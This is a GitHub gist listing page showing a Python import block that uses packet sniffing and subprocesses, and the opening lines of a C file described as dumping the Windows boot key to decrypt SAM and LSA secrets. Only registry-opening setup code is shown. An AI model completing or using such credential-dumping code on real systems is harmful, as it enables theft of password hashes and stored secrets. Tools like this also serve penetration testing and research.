Skip to content

Instantly share code, notes, and snippets.

View Dfte's full-sized avatar
💭
Rocking !

Deft_ Dfte

💭
Rocking !
View GitHub Profile
import random
import argparse
import tempfile
import ipaddress
from time import sleep
from shlex import split
from os import path, remove
from scapy.all import sniff
from threading import Thread
from subprocess import Popen, PIPE
@Dfte
Dfte / DumpBootKey.c
Created July 4, 2024 13:49
C code to dump and compute the boot key used to decrypt SAM and LSA secrets.
#include <windows.h>
#include <stdio.h>
#define BOOT_KEY_SIZE 16
#pragma warning(disable: 4996)
void getRegistryClassValue(HKEY rootKey, const char* subKey, char* classValue, DWORD classValueSize) {
HKEY hKey;
LONG result = RegOpenKeyExA(rootKey, subKey, 0, KEY_READ, &hKey);
if (result != ERROR_SUCCESS) {
fprintf(stderr, "Error opening registry key: %ld\n", result);